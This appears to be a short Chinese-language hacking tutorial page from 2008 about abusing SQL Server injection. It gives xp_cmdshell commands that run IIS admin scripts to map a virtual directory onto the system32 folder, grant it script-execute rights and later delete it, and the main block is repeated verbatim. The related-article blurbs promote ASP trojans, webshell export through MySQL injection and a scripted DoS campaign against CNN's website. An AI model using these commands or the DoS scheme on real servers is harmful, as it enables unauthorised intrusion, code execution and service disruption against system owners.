sql server注入建立虛擬目錄的方法
更新時間：2008年01月20日 15:59:13 作者：
sql server注入建立虛擬目錄的方法
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對路徑的一種解決辦法，
http://xxx.com/win
403錯誤，表示虛擬目錄建好了。。。
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對路徑的一種解決辦法，
http://xxx.com/win
403錯誤，表示虛擬目錄建好了。。。
相關(guān)文章
這篇文章主要介紹了讓你變成ASP木馬高手2007-01-01
利用方式:一個典型的sql注射漏洞,按照公告里說的用2008-05-05
巧用端口映射 不通過網(wǎng)關(guān)開放任意內(nèi)網(wǎng)(LCX.exe)
巧用端口映射 不通過網(wǎng)關(guān)開放任意內(nèi)網(wǎng)(LCX.exe)...2007-02-02
Ring的權(quán)限提升21中方法...2007-06-06
讓侮辱中國人的法國cnn網(wǎng)站完蛋?。?！只要你幫助打開一個網(wǎng)頁！！ 如何DOS攻擊CNN網(wǎng)站? ?將這些文字復(fù)制,并保存成一個html文件,然后在瀏覽器中打開,按提示啟用腳本,然后,每隔3秒鐘將自動連接一次cnn網(wǎng)站(注意,是自動的,只要你不關(guān)閉瀏覽器窗口就可以了,也不會影響你的其它操作),如果全世界中國人聯(lián)合起來,那么cnn網(wǎng)站絕對崩潰2008-04-04
許多網(wǎng)友都想知道“QQ聊天記錄刪除了怎么恢復(fù)”，因為QQ聊天記錄對于我們來說是很重要的數(shù)據(jù)。下面我們就來介紹下如何解決QQ聊天記錄刪除恢復(fù)的問題2012-03-03
MySQL注入中導出字段內(nèi)容的研究通過注入導出WebShell
大家都知道，在MySQL中，無法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來插入數(shù)據(jù)，因為MySQL里最多就是用union聯(lián)合查詢。2008-05-05
PHP服務(wù)端SESSION管理工具提供下載...2007-10-10
本站只是提供知識，方便大家以后的查殺木馬，不是用來搞破壞2008-01-01
幾款雙功能免殺超強版asp小馬，對于需要查找后門的朋友可以參考下。2010-09-09